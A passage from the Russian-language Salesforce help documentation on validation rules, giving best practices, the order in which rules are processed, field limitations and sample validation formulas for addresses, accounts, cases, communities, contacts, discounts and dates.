• Рекомендуем избегать использования поля слияния возможностей IsClosed или IsWon в формулах проверки.
Чтобыопределитьналичиесоответствующегозначениявполе «Этап», рекомендуемиспользоватьфункцию ISPICKVAL.
Например, формула проверки ниже назначает настраиваемому полю «Дата начала проекта» статус обязательного
при заполнении поля «Этап» значением Closed Won.

AND(ISPICKVAL(StageName, "Closed Won"),
ISBLANK(Project_Start_Date__c))

• Чтобыупроститьформулыпроверки, воспользуйтесьполямитипа «Флажок», которыене требуютналичияоператора,
так как возвращают значение «Истина» или «Ложь». Например, формула проверки ниже проверяет возможности на
наличие продуктов посредством поля слияния HasOpportunityLineItem перед сохранением внесенных
изменений.

NOT(OR(ISNEW(),HasOpportunityLineItem))

Советы по созданию сообщений об ошибках правил проверки

• Добавьте инструкции. Сообщение об ошибке типа «недопустимая запись» не содержит сведений о допустимом типе
записи. Рекомендуем указать более точные сведения (например, «Значение поля "Дата закрытия" должно следовать
за текущей датой»).

• Обязательно укажите метку поля. Пользователи могут испытывать трудности при определении поля, которое не
прошло проверку, в частности, при отображении сообщения об ошибке вверху страницы.

Прим.: Приопределенииправилпроверкисистемапозволяетвыбиратьнужноерасположениеошибки («Вверху
страницы» или «Поле»). Если выбранное поле удаляется, доступно только для чтения или не отображается в
макете страницы, то система Salesforce автоматически выбирает значение «Вверху страницы».

• При использовании многоязычной организации переведите сообщения об ошибках. Чтобы перевести сообщения
об ошибках, воспользуйтесь средством перевода.

• Назначьте правилам проверки и их сообщениям об ошибках соответствующиеномера. Данный алгоритмпозволяет
определять источник ошибки.

СМ. ТАКЖЕ:

Определить правила оценки

Рекомендации по правилам проверки
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Рекомендации по правилам проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Правила проверки проверяют данные, введенные пользователем, на соответствие
заданным стандартам перед сохранением записи. Правило проверки может содержать
формулу или выражение, которое оценивает данные как минимум одного поля и
возвращает значение «Истина» или «Ложь». Кроме того, правило проверки может
содержать сообщение об ошибке, отображаемое пользователям в том случае, если
недопустимоезначениевозвращает значение «Истина».Преждечемприменитьправила
проверки, просмотрите указанные ниже рекомендации.

Порядок обработки правил проверки системой Salesforce

Ниже указан порядок обработки правил в системе Salesforce.

1. Правила проверки

2. Правила назначения

3. Правила автоматического ответа

4. Бизнес-правила (с немедленными действиями)

5. Правила расширения

Кроме того:

• Еслиодноправилопроверкивозвращаетошибку, тосистемаSalesforceпродолжаетприменятьдругиеправилапроверки
для данного поля или любого другого поля страницы и одновременно отображает все соответствующие сообщения
об ошибках.

• Приналичииправилпроверкидлядействийисозданиидействияприпреобразованииинтересовсистемапреобразует
интерес, но не создает задачу.

• Правилапроверкиприменяютсяпринудительнотолькоприпреобразованииинтересов, еслиорганизацияиспользует
правила проверки и триггеры для преобразования интересов.

• Иерархии кампаний пропускают правила проверки.

• Система Salesforce запускает правила проверки перед созданием записей, отправленных посредством функций
Web-to-Lead и Web-to-Case, и создает только те записи, которые содержат допустимые значения.

• Правила проверки продолжают выполняться для отдельных записей даже при изменении ответственного. Если
ответственность за разные записиизменяетсяпосредствомпакетногопереноса, топравилапроверкиданных записей
не выполняются.

Ограничения для полей правил проверки

Ниже перечислены компоненты, которые не могут использоваться формулами правила проверки.

• Составные поля, включая поля адреса, имени и фамилии, а также зависимые раскрывающиеся списки и поиски

• Поля статистики по кампаниям, включая статистики по отдельным кампаниям и иерархиям кампаний

• Поля слияния для полей автонумерации или составных адресных полей (например, «Почтовый адрес»)

Прим.: Формулы правила проверки могут содержать поля слияния для отдельных адресных полей (например,
«Город для счета»).

Ниже описан алгоритм, используемый правилами проверки относительно других полей и функций Salesforce.

• Страница сведений о настраиваемом поле действия не содержит связанные правила проверки.
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• Обновления записей на основе бизнес-правил не запускают правила проверки, поэтому бизнес-правила могут
аннулировать поля, которые ранее являлись допустимыми.

• Поля сводного резюмирования не отображаются на страницах редактирования, поэтому могут использоваться в
правилах проверки, но только не в качестве расположения ошибки.

Фильтры поиска и правила проверки

Правила проверки и фильтры поиска возвращают одинаковые результаты, но имеют разные преимущества. Ниже
перечислены условия использования фильтра поиска.

• Повышениеэффективностиработыпользователяпутемограниченияколичествадоступныхвариантов в диалоговом
окне поиска.

• Повышение эффективности работы пользователя путем автоматизациифильтров в диалоговых окнах поиска,
настраиваемых пользователями вручную.

Ниже перечислены условия использования правила проверки.

• Приближение к максимально допустимому количеству фильтров поиска.

• Применение сложного бизнес-правила, требующего использования формулы. Формулы могут ссылаться на поля,
которыенемогутиспользоватьсяосновнымикритериямифильтрации (например, поляродителяисходногообъекта).
Кроме того, формулы могут использовать функции. Например, функция ISNEW позволяет применять правило
только при создании записи, а функция ISCHANGED позволяет применять правило при изменении поля.

СМ. ТАКЖЕ:

Определить правила оценки

Активация правил проверки

Примеры правил проверки
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Примеры правил проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра правил
проверки полей:
• «Просмотр настройки и

конфигурации»

Для определения или
изменения правил проверки
полей:
• «Настройка

приложения»

Изучите примеры правил проверки для различных типов приложений, которые вы
можете использовать и изменять по своему усмотрению. Правила проверки проверяют
данные, введенные пользователем, на соответствие заданным стандартам перед
сохранением записи.

Ниже приведены примеры правил проверки, которые могут использоваться в системе
Salesforce и каталоге Force.com AppExchange.

Примеры правил проверки адресов организаций

Примеры правил проверки организаций

Примеры правил проверки центров обработки вызовов

Примеры правил проверки сообществ

Примеры правил проверки контактов

Примеры правил проверки кросс-объектов

Примеры правил проверки дат

Примеры правил проверки чисел

Примеры правил проверки возможностей

Примеры правил проверки смет

Примеры правил проверки пользователей, ролей и профилей

Прочие примеры правил проверки

СМ. ТАКЖЕ:

Правила проверки

Определить правила оценки

Примеры правил проверки адресов организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.
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Почтовый индекс для счета (Канада)

ЗначениеПоле

Проверяетправильностьформатаполяорганизации «Почтовый индекс для счета»,
если поле «Страна для счета» содержит значение Canada.

Описание:

AND(
OR(BillingCountry = "CAN", BillingCountry = "CA", BillingCountry
= "Canada"),
NOT(REGEX(BillingPostalCode,
"((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?"))
)

Формула:

Почтовый индекс Канады должен соответствовать формату A9A 9A9.Сообщение об ошибке:

Почтовый индекс для счетаРасположение ошибки:

Почтовый индекс для счета в поле «Область для счета»

ЗначениеПоле

Проверяет действительность поля организации «Почтовый индекс для счета»
путемпоискапервыхпяти символов значения внастраиваемомобъекте Zip_Code__c,
который содержит запись для каждого действительного почтового индекса США.
Если объект Zip_Code__c не содержит почтового индекса или поле «Область для
счета» не соответствует полю State_Code__c в объекте Zip_Code__c, то система
отображает ошибку.

Описание:

VLOOKUP(
$ObjectType.Zip_Code__c.Fields.City__c ,
$ObjectType.Zip_Code__c.Fields.Name ,
LEFT(BillingPostalCode,5)) <> BillingCity

Формула:

Указанное поле «Область для счета» не содержит почтового индекса для счета.Сообщение об ошибке:

Почтовый индекс для счетаРасположение ошибки:
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Почтовый индекс для счета (США)

ЗначениеПоле

Проверяет поле организации «Почтовый индекс для счета» на соответствие
формату 99999 или 99999-9999, если поле «Страна для счета» содержит значение
USA или US.

Описание:

AND(
OR(BillingCountry = "USA", BillingCountry = "US"),
NOT(REGEX(BillingPostalCode, "\\d{5}(-\\d{4})?"))
)

Формула:

Прим.: Данный пример использует функцию REGEX. Дополнительную
информацию о регулярных выражениях см. в подразделе «Почтовый индекс
отправки».

Почтовый индекс должен соответствовать формату 99999 или 99999-9999.Сообщение об ошибке:

Почтовый индекс для счетаРасположение ошибки:
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Почтовый индекс отправки
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ЗначениеПоле

Проверяет поле организации «Почтовый индекс отправки» на соответствие формату
99999 или 99999-9999, если поле «Страна отправки» содержит значение USA или пустое
значение.

Описание:

AND(
OR(ShippingCountry = "USA", ISBLANK(ShippingCountry)),
OR(
AND(LEN(ShippingPostalCode) <>5,

LEN(ShippingPostalCode) <> 10),
NOT(CONTAINS("0123456789",

LEFT( ShippingPostalCode, 1))),
NOT(CONTAINS("0123456789",

MID( ShippingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789",

MID( ShippingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789",

MID( ShippingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789",

MID( ShippingPostalCode , 5, 1))),
AND(
LEN(ShippingPostalCode) = 10,
OR(
MID( ShippingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 7, 1))),

NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 8, 1))),

NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 9, 1))),

NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 10, 1)))

)
)
)
)

Формула:

Прим.: Данный пример обрабатывает пустое поле страны как значение US. Чтобы
применить данный пример к другим странам, удалите условие, проверяющее длину
поля страны. Помните, что критерии правила проверки чувствительны к регистру,
поэтомуданноеправилоприменяется тольков томслучае, еслиполе странысодержит
пустое значениеили значение USA, введенное заглавнымибуквами. Еслиполе страны
содержит значение usa, то правило не применяется.

Совет: При необходимости почтовые индексы могут быть проверены посредством
регулярного выражения. Пример формулы, содержащей регулярное выражение, см.
в подразделе REGEX на странице 4679.

Почтовый индекс должен соответствовать формату 99999 или 99999-9999.Сообщение об ошибке:

Почтовый индекс отправкиРасположениеошибки:

4558

Работа с настраиваемыми полямиРасширение Salesforce посредством интерактивных
инструментов



Допустимая область для счета (США)

ЗначениеПоле

Проверяетполеорганизации «Область/штат для счета» наналичиедопустимого
двухбуквенного сокращения, если поле «Страна для счета» содержит значение
US, USA или пустое значение.

Описание:

AND (
OR(BillingCountry = "US", BillingCountry="USA",
ISBLANK(BillingCountry)),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", BillingState)
)))

Формула:

Прим.: Данныйпримеробрабатываетпустоеполе страныкак значение «US».
Чтобы применить данный пример к другим странам, удалите условие,
проверяющеедлинуполя страны. Помните, чтокритерииправилапроверки
чувствительны к регистру, поэтому данное правило применяется только в
том случае, еслиполе страны содержитпустое значениеили значение «USA»,
введенное заглавными буквами. Если поле страны содержит значение «usa»,
то правило не применяется.

Поле должно содержать допустимый двухбуквенный код области.Сообщение об ошибке:

Область/штат для счетаРасположение ошибки:
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Допустимый штат для счета (Канада)

ЗначениеПоле

Проверяетполеорганизации «Область/штат для счета» наналичиедопустимогодвухбуквенного
сокращения, если поле «Страна для счета» содержит значение CA или CAN.

Описание:

AND (
OR(BillingCountry = "CA", BillingCountry="CAN"),
OR(
LEN(BillingState) < 2,
NOT(

CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState)
)))

Формула:

Поле должно содержать допустимый двухбуквенный код штата.Сообщение об
ошибке:

Область/штат для счетаРасположение
ошибки:
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Допустимая область отправки

ЗначениеПоле

Проверяетполеорганизации «Область/штат отправки» наналичиедопустимогодвухбуквенного
сокращения, если поле «Страна отправки» содержит значение US, USA или пустое значение.

Описание:

AND (
OR(ShippingCountry = "US", ShippingCountry="USA",
ISBLANK(ShippingCountry)),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", ShippingState)
)))

Формула:

Прим.: Данный пример обрабатывает пустое поле страны как значение «US». Чтобы
применить данный пример к другим странам, удалите условие, проверяющее длину поля
страны. Помните, что критерии правила проверки чувствительны к регистру, поэтому
данное правило применяется только в том случае, если поле страны содержит пустое
значениеили значение «USA», введенное заглавнымибуквами. Еслиполе страны содержит
значение «usa», то правило не применяется.

Поле должно содержать допустимый двухбуквенный код области.Сообщение об
ошибке:

Область/штат отправкиРасположение
ошибки:
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Допустимый штат отправки (Канада)

ЗначениеПоле

Проверяетполеорганизации «Область/штат отправки» наналичиедопустимогодвухбуквенного
сокращения, если поле «Страна отправки» содержит значение CA или CAN.

Описание:

AND (
OR(ShippingCountry = "CA", ShippingCountry="CAN"),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState)
)))

Формула:

Поле должно содержать допустимый двухбуквенный код штата.Сообщение об
ошибке:

Область/штат отправкиРасположение
ошибки:
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Допустимая страна для счета

ЗначениеПоле

Проверяетполеорганизации «Страна для счета» наналичиедопустимогодвухбуквенногокода
ISO 3166.

Описание:

OR(
LEN(BillingCountry) = 1,
NOT(
CONTAINS(
"AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" &
"AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" &
"BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" &
"CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" &
"CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" &
"FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" &
"GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" &
"IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" &
"KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" &
"MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" &
"MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" &
"NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" &
"PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" &
"SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" &
"LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" &
"TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" &
"VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW",
BillingCountry)))

Формула:

Поле должно содержать допустимый двухбуквенный код страны.Сообщение об
ошибке:

Страна для счетаРасположение
ошибки:

Примеры правил проверки организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.
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Числовое значение поля «Номер банковского счета»

ЗначениеПоле

Проверяет заполненное поле «Номер банковского счета» на наличие числового
значения.

Описание:

AND(
ISBLANK(AccountNumber),
NOT(ISNUMBER(AccountNumber))

)

Формула:

Поле «Номер банковского счета» не содержит числового значения.Сообщение об ошибке:

Номер банковского счетаРасположение ошибки:

Длина поля «Номер банковского счета»

ЗначениеПоле

Проверяет заполненное поле «Номер банковского счета» на наличие ровно семи
цифр. Значение «7» используетсядляпримера. Принеобходимостиономожетбыть
изменено.

Описание:

AND(
ISBLANK(AccountNumber),
LEN(AccountNumber) <> 7

)

Формула:

Поле «Номер банковского счета» должно содержать семь цифр.Сообщение об ошибке:

Номер организацииРасположение ошибки:

Диапазон поля «Годовой доход»

ЗначениеПоле

Проверяет поле организации «Годовой доход» на наличие неотрицательного
значения, которое не превышает 100 миллиардов долларов США. Данное
ограничение позволяет находить опечатки.

Описание:

OR(
AnnualRevenue < 0,
AnnualRevenue > 100000000000

)

Формула:

Значение поля «Годовой доход» не может превышать 100 миллиардов.Сообщение об ошибке:

Годовой доходРасположение ошибки:
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Примеры правил проверки центров обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Условно обязательное описание при причине обращения «Другое»

ЗначениеПоле

Проверяет настраиваемое поле «Другая причина» на
наличие значения, если поле обращения «Причина
обращения» содержит значение «Другое».

Описание:

AND(
ISPICKVAL( Reason, "Other" ),
ISBLANK(Other_Reason__c)

)

Формула:

Описание поля «Другая причина» является обязательным.Сообщение об
ошибке:

Другая причинаРасположение
ошибки:

Запрет на восстановление статуса New для открытых обращений

ЗначениеПоле

Запрещаетпользователямвосстанавливать значение New вполе «Статус» открытого
обращения.

Описание:

AND(
ISCHANGED( Status ),
NOT(ISPICKVAL(PRIORVALUE( Status ), "New")),
ISPICKVAL( Status, "New")

)

Формула:

Поле «Статус» открытого обращения не может содержать значение New.Сообщение об ошибке:

СтатусРасположение ошибки:
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Ограничение статуса повторно открытых обращений

ЗначениеПоле

Проверяетполеобращения «Статус» наналичиезначения Re-opened приповторном
открытии закрытого обращения.

Описание:

AND(
ISCHANGED( Status ),
OR(

ISPICKVAL(PRIORVALUE( Status ), "Closed"),
ISPICKVAL(PRIORVALUE( Status ),

"Closed in SSP")),
NOT( ISPICKVAL( Status, "Re-Opened"))

)

Формула:

Закрытому обращению может быть назначен только статус Re-opened.Сообщение об ошибке:

СтатусРасположение ошибки:

Запрет на завершение контрольной точки после закрытия обращения

ЗначениеПоле

Проверяет поле контрольной точки «Дата завершения» на наличие даты,
предшествующейдатеизмененияполяобращения «Статус» на значение «Закрыто».

Описание:

Case.IsClosed = true
Формула:

Контрольная точка не может быть завершена после закрытия обращения.Сообщение об ошибке:

Вверху страницыРасположение ошибки:

Запрет на завершение контрольной точки до даты создания обращения

ЗначениеПоле

Проверяетполеконтрольнойточки «Дата завершения» наналичиедаты, следующей
за датой поля обращения «Дата/время открытия».

Описание:

CompletionDate >= Case.CreatedDate && CompletionDate <=
Case.ClosedDate

Формула:

Значение поля контрольной точки «Дата завершения» должно следовать за датой
создания обращения и предшествовать дате закрытия обращения.

Сообщение об ошибке:

Вверху страницыРасположение ошибки:
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Примеры правил проверки сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Запрет на использование оскорбительных слов в вопросах

ЗначениеПоле

Запрещает пользователям вводить оскорбительные слова в
поля «Заголовок» и «Описание» при создании вопроса.

Описание:

OR(CONTAINS(Title, 'darn'), CONTAINS(Body,
'darn'))

Формула:

Заголовокилиописаниевопроса содержитоскорбительные
слова.

Сообщение об
ошибке:

Запрет на использование оскорбительных слов в ответах

ЗначениеПоле

Запрещает пользователям вводить оскорбительные слова при создании ответа.Описание:

OR(CONTAINS(Body, 'darn'), CONTAINS(Body, 'dang'))
Формула:

Ответ содержит оскорбительные слова.Сообщение об ошибке:

Запрет на использование оскорбительных слов в идеях

ЗначениеПоле

Запрещает пользователям вводить оскорбительные слова в поля «Заголовок» и
«Описание» при публикации идеи.

Описание:

OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))
Формула:

Заголовок или описание идеи содержит оскорбительные слова.Сообщение об ошибке:
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Запрет на использование оскорбительных слов в комментариях к идеям

ЗначениеПоле

Запрещает пользователям вводить оскорбительные слова при публикации
комментария.

Описание:

OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody,
'dang'))

Формула:

Комментарий содержит оскорбительные слова.Сообщение об ошибке:

Примеры правил проверки контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Обязательные поля почтового адреса

ЗначениеПоле

Проверяет поля контакта «Улица в почтовом адресе»,
«Город в почтовом адресе» и «Страна в почтовом
адресе» на наличие значений.

Описание:

OR(
ISBLANK( MailingStreet ),
ISBLANK( MailingCity ),
ISBLANK( MailingCountry )

)

Формула:

Поля «Улица впочтовом адресе», «Город впочтовом адресе»
и «Страна в почтовом адресе» являются обязательными.

Сообщение об
ошибке:

Вверху страницыРасположение
ошибки:

Обязательное поле «Улица в почтовом адресе»

ЗначениеПоле

Проверяет поле контакта «Улица в почтовом адресе» на наличие значения.Описание:

ISBLANK( MailingStreet )
Формула:

Поле «Улица в почтовом адресе» является обязательным.Сообщение об ошибке:

Улица в почтовом адресеРасположение ошибки:
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Индекс в почтовом адресе
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ЗначениеПоле

Проверяет поле контакта «Индекс в почтовом адресе» на соответствие формату 99999
или 99999-9999, еслиполе «Страна в почтовом адресе» содержит значение USA илипустое
значение.

Описание:

AND(
OR(MailingCountry = "USA", ISBLANK(MailingCountry)),
OR(
AND(LEN(MailingPostalCode) <>5,
LEN(MailingPostalCode) <> 10),
NOT(CONTAINS("0123456789",

LEFT( MailingPostalCode, 1))),
NOT(CONTAINS("0123456789",

MID( MailingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789",

MID( MailingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789",

MID( MailingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789",

MID( MailingPostalCode , 5, 1))),
AND(
LEN(MailingPostalCode) = 10,
OR(
MID( MailingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 7, 1))),

NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 8, 1))),

NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 9, 1))),

NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 10, 1)))

)
)
)
)

Формула:

Прим.: Данный пример обрабатывает пустое поле страны как значение «US». Чтобы
применить данный пример к другим странам, удалите условие, проверяющее длину
поля страны. Помните, что критерии правила проверки чувствительны к регистру,
поэтомуданноеправилоприменяется тольков томслучае, еслиполе странысодержит
пустое значение или значение «USA», введенное заглавными буквами. Если поле
страны содержит значение «usa», то правило не применяется.

Совет: При необходимости почтовые индексы могут быть проверены посредством
регулярного выражения. Пример формулы, содержащей регулярное выражение, см.
в подразделе REGEX на странице 4679.

Почтовый индекс должен соответствовать формату 99999 или 99999-9999.Сообщение об ошибке:

Индекс в почтовом адресеРасположениеошибки:
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Международный формат номера телефона

ЗначениеПоле

Проверяет поле «Тел.» на наличие кода страны, начинающегося с символа плюса
(+). Обратите внимание, что данное правило проверки конфликтует с правилом
проверки 10-значных номеров.

Описание:

LEFT(Phone, 1) <> "+"
Формула:

Номер телефона должен содержать код страны, начинающийся с символа плюса
(+).

Сообщение об ошибке:

Тел.Расположение ошибки:

10-значный номер телефона (США)

ЗначениеПоле

Проверяет поле «Тел.» на соответствие формату (999) 999-9999. Чтобы проверить
номер телефона на наличие 10 цифр, введенных в формате (999) 999-9999,
рекомендуем воспользоваться функцией REGEX.

Описание:

NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))
Формула:

Номера телефонов США должны соответствовать следующему формату: (999)
999-9999.

Сообщение об ошибке:

Тел.Расположение ошибки:

Примеры правил проверки кросс-объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Скидки должны соответствовать заданному диапазону

Данныйпримерсодержит триправилапроверкидляпродуктов возможности. Примеры
ниже позволяют управлять суммами скидок для продуктов и требовать заполнения
настраиваемого поля процентов «Скидка по строке» для продуктов возможности.
Данныепримерытакжетребуютиспользованияпрайс-листовинастройкиполя «Группа
продуктов», котороедолжновключатьследующиезначения: Software, Consulting
и Training.

Скидки на программное обеспечение
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ЗначениеПоле

Запрещает пользователям сохранять программные
продукты со скидкой более 10%.

Описание:

AND(Line_Discount__c > 0.10,
ISPICKVAL(Product2.Family, "Software"))

Формула:

Скидка на программные продукты не должна превышать
10%.

Сообщение об ошибке:

Скидка по строкеРасположение ошибки:

Скидки на консультационные услуги

ЗначениеПоле

Запрещает пользователям сохранять консультационные
услуги со скидкой более 15%.

Описание:

AND(Line_Discount__c > 0.15,
ISPICKVAL(Product2.Family, "Consulting"))

Формула:

Скидкана консультационныеуслугинедолжнапревышать
15%.

Сообщение об ошибке:

Скидка по строкеРасположение ошибки:

Скидки на обучение

ЗначениеПоле

Запрещает пользователям сохранять курсы обучения со
скидкой более 20%.

Описание:

AND(Line_Discount__c > 0.20,
ISPICKVAL(Product2.Family, "Training"))

Формула:

Скидка на курсы обучения не должна превышать 20%.Сообщение об ошибке:

Скидка по строкеРасположение ошибки:

Запрет на изменение продуктов для закрытых возможностей

Данный пример содержит два правила проверки: один для продуктов возможности, а второй для возможностей.
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ЗначениеПоле

Запрещает пользователям редактировать продукты после
закрытия возможности. Ниже приведен пример правила
проверки продуктов возможности.

Описание:

OR(ISPICKVAL(Opportunity.StageName, "Closed
Won"), ISPICKVAL(Opportunity.StageName,
"Closed Lost"))

Формула:

Неудаетсяизменитьпродуктыдля закрытыхвозможностей.Сообщение об ошибке:

Вверху страницыРасположение ошибки:

Правило проверки ниже предназначено для возможностей.

ЗначениеПоле

Запрещаетпользователямудалятьпродуктыпослезакрытия
возможности. Ниже приведен пример правила проверки

Описание:

возможностей. Данныйпримериспользуетнастраиваемое
поле сводного резюмирования, вычисляющее количество
продуктов для возможности.

AND(OR(ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Closed Lost")),

Формула:

Number_of_Line_Items__c <
PRIORVALUE(Number_of_Line_Items__c) )

Не удается удалить продукты для закрытых возможностей.Сообщение об ошибке:

Вверху страницыРасположение ошибки:

Запрет на сохранение обращения при отсутствии поддержки организации

ЗначениеПоле

Запрещает пользователям сохранять обращение для
организации, которой не оказывается поддержка. Данный

Описание:

пример предполагает наличие настраиваемого флажка
«Разрешенная поддержка», указывающего на поддержку
организации.

Account.Allowed_Support__c = FALSE
Формула:

Не удается создать обращения для данной организации
ввиду отсутствия поддержки.

Сообщение об ошибке:
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ЗначениеПоле

Вверху страницыРасположение ошибки:

Запрет на сохранение обращения при увольнении контакта из компании

ЗначениеПоле

Запрещаетпользователямсохранятьоткрытоеобращение,
связанное с уволенным контактом. Данный пример

Описание:

используетнастраиваемыйфлажокконтакта «Не работает
в компании».

AND(Contact.Not_Longer_With_Company__c,
NOT(IsClosed))

Формула:

Неудается сохранитьданноеобращениеввиду увольнения
связанного контакта из компании. Чтобы продолжить
работу, выберите другой контакт.

Сообщение об ошибке:

Имя контактаРасположение ошибки:

Примеры правил проверки дат

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Дата должна соответствовать рабочему дню

ЗначениеПоле

Проверяет значение настраиваемого поля даты на
соответствие рабочему дню (не суббота или воскресенье).

Описание:

CASE(MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0

Формула:

Дата должна соответствовать рабочему дню.Сообщение об
ошибке:

Моя датаРасположение
ошибки:
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Дата должна соответствовать выходному дню

ЗначениеПоле

Проверяет значение настраиваемого поля даты на соответствие субботе или
воскресенью.

Описание:

CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 1,
6, 1,
0) = 0

Формула:

Дата должна соответствовать выходному дню.Сообщение об ошибке:

Моя датаРасположение ошибки:

Дата должна относиться к текущему месяцу

ЗначениеПоле

Проверяет настраиваемое поле даты на наличие даты, относящейся к текущему
месяцу и году.

Описание:

OR (
YEAR( My_Date__c ) <> YEAR ( TODAY() ),
MONTH( My_Date__c ) <> MONTH ( TODAY() )
)

Формула:

Дата должна относиться к текущему месяцу.Сообщение об ошибке:

Моя датаРасположение ошибки:

Дата должна относиться к текущему году

ЗначениеПоле

